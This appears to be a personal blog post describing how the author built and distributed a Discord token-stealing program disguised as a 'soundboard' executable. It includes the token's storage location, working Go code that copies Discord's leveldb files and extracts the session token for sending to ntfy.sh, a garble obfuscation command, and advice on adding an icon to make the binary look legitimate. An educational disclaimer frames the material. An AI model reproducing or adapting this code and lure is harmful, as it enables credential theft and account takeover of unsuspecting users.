Preface

I usually hang out on a Discord server with friends. Bored and depressed, I decided that I wanted to make a program to troll people who open it.

The idea was to know who opened the program and open 20 tabs of rickroll on their PC. Easy.

I tested it on myself and a friend of mine had a lot of trust in me by just clicking an exe that a potential hacker sent him. I discovered some new things that I overlooked, especially in the previous blog post about bypassing Windows Defender.

Note: I’m not gonna explain how to effectively bypass Windows Defender here. This is just a blog post about how easy it is for a person to get access to sensitive data, and from the test that I pulled Windows Defender didn’t bother, only just some extra step because the binary was not signed.

Warning: this blog post is for educational purposes only, I take no responsibility for whatever action other people will perform by reading this post. I’m sick and tired of people contacting me that “malicious people will learn from your blog post”. Attackers are already out there, already carrying these types of attacks, affecting other people. Take this blog post as a lesson on how easy it is for a person to create basic malwares.

Now we get into the fun part.

Make a plan

What are the key components that we need? How should we proceed? We have to locate where Discord saves the configuration file where the token is. We have to find a way to exfiltrate our data.

So I started with the hardest part. Where does Discord store the token?

Finding the token

I had to look it up on the internet, but it only showed up in the Console of Electron. Keep in mind that Discord is a browser with some tweaks.

So I also googled “Cookies on Electron”, “Where does Electron store files”, and “Electron Storage path” to see if there’s a default way Electron operates.

It looks like there’s a pattern where Electron stores the data, which is C:\Users\<USER>\AppData\Roaming\<APPLICATION>.

Inside this path, I can see a folder called Session Storage, so I assumed that the data gets stored there, including the token, pefforza.

Pasted image 20220429180401.png

I have no clue what I’m looking at.

Okay, let’s go to the next folder, Local Storage\leveldb

Pasted image 20220429192018.png

We got new clues: files that end with ldb. A quick Google search showed me that I’m dumb enough to not notice that it’s actually leveldb, which was already the folder where those files were stored.

Programming language

The last programming language that I studied is GoLang so I’m gonna use this one because it allows me to do cross-compile without too much pain. So I googled golang leveldb and explored the options and the library that I used is goleveldb.

Exfiltration

This one might be complex. There are several ways you can do it. You could use Telegram Bot API, set up your web server to store the data, whatever.

In this scenario, I use ntfy.sh. Knowing that I’m not gonna share the token with a server that I don’t know/trust, I’m just gonna create a poc.

Execution of the plan

We need a name for it, something catchy that can get the interest and attention of the people who might be on the server. No gifts or nitro, we already saw that. Instead, a “soundboard”. You know, those programs that output music and audio “through” your microphone so other people can hear that too.

So we have a name: juicysoundboard.

Upon execution, Juicy Soundboard will collect the name of the user and the computer name and send it to ntfy.sh so I get a notification on my phone alongside the token of the account configured on their PC.

The program exits if it doesn’t find any folder.

Ran into some issues with getting the token from the database because of the “Database already opened by another application”, so I decided to copy the content of the folder in a temporary one, extract the token and delete the evidence.

Note: I think that a good malware shouldn’t leave artifacts on the machine, but for the sake of semplicity, we’re gonna do that.

On the source code, here is how I will copy the database that stores the token:

func backup() {

	// Reading all the files inside the folder where the database is located.
	// appdata variable contains the enviorement variable value of %AppData% 
    files, errFiles := ioutil.ReadDir(appdata + "\\discord\\Local Storage\\leveldb\\")

	// No folder or other issue? Exit, bail it. We don't need to do anything if Discord is not installed/configured
    if errFiles != nil {
        fmt.Printf("Couldn't open dir: %s\n", errFiles.Error())
        os.Exit(1)
        return
    }

	// We cycle through the files, although we need only a couples of ones:
	// *.ldb, MANIFEST*, CURRENT
    for _, file := range files {
        if strings.HasSuffix(file.Name(), ".ldb") || strings.HasPrefix(file.Name(), "MANIFEST") || file.Name() == "CURRENT" {
	        
	        // If we found an interesting file, we read its content...
            srcData, srcErr := ioutil.ReadFile(appdata + "\\discord\\Local Storage\\leveldb\\" + file.Name())
            if srcErr != nil {
                continue
            }
            // and copy it in our tmp folder
            ioutil.WriteFile("./tmp/"+file.Name(), srcData, 0644)
        }
    }
}

After copying the files, we try to read the database:

func fetch() {
	// Delete the temporary folder when exiting the function
	defer os.RemoveAll("./tmp")
	// Setting up some option describing how we want to open the database.
    options := &opt.Options{
        NoSync:       true,
        NoWriteMerge: true,
        ReadOnly:     true,
    }
	// We open the database that's inside our folder
    db, dbErr := leveldb.OpenFile("./tmp", options)
    // If we can't open the files, abort and delete the folder.
    if dbErr != nil {
        fmt.Printf("Couldn't open db: %s\n", dbErr.Error())
        os.Exit(2)
    }
    // Close the db when we don't need it anymore
    defer db.Close()
    
    // Dirty hack, since db has weird chars in the keys,
    // We iterate it until we find the key that contains specific words
    iter := db.NewIterator(nil, nil)
    for iter.Next() {
	    dbkey := string(iter.Key()[:])
        if strings.Contains(dbkey, "token") && strings.Contains(dbkey, "discordapp.com") {
	        // Send the key to our server/service
            backupit(string(iter.Value()[:]))
        }
    }
    iter.Release()
}

I’m not gonna post the full code here, you could check it out in my GitHub (if I decide to publish it).

Note that, in the actual source code that I compiled, I trunked the token before sending it. As much as exciting it is, I don’t want to risk other people’s account neither I want to harm them.

Compiling and obfuscation

I learned my lesson. It’s not easy to bypass AV especially when you are facing different ones. In my previous blog post about my adventure bypassing Windows Defender, we used a tool called garble to obfuscate the code.

garble -literals -tiny build -ldflags "-H=windowsgui" juicysoundboard.go

I thought it was it. But no. Windows Defender flagged it every single time. Doesn’t matter if I compiled it with obfuscation or not. It was still flagged.

In the meanwhile, a friend of mine who was testing my executables every single time I compiled said “You should put an icon to your executable to make it look more legit”.

He’s right. He’s so right. I googled how to apply icons to go binaries and I stumbled upon go-winres. “A simple command line tool for embedding usual resources in Windows executables built with Go”.

Well. I guess we know where we’re heading.

I’m gonna copy and adjust the instructions from the readme:

  • Run go-winres init to create a winres directory
  • Modify the contents of winres.json
  • Run go-winres make to generate the needed files.
  • Compile the binary and run go-winres patch juicysoundboard.exe to patch the executable.

I then zipped the binary and pasted it on the Discord chat.

Results

Running the binary myself resulted in not getting flagged by Windows Defender and getting a callback with the discord token:

Pasted image 20220506130112.png

After a couple of people executing binary, I decided to give up on the “stealthyness” of the malware and upload it to VirusTotal, just to check what’s the actual detection ratio.

Pasted image 20220506125850.png

Bad, pretty bad. And guess what? It’s also due to the obfuscation technique. ESET-NOD32 quotes “A Variant Of WinGo/Packed.Obfuscated.A Suspicious”.

Pasted image 20220506125920.png

But I’m pretty happy about the result!

I contacted all the people who ran the binary and explained to them what it does, and since I have a good relationship with them they were pretty much understanding and actually were interested and curious. I was willing to take responsibility and I apologized to them. Most of them told me that they learned a lesson and they will be more careful.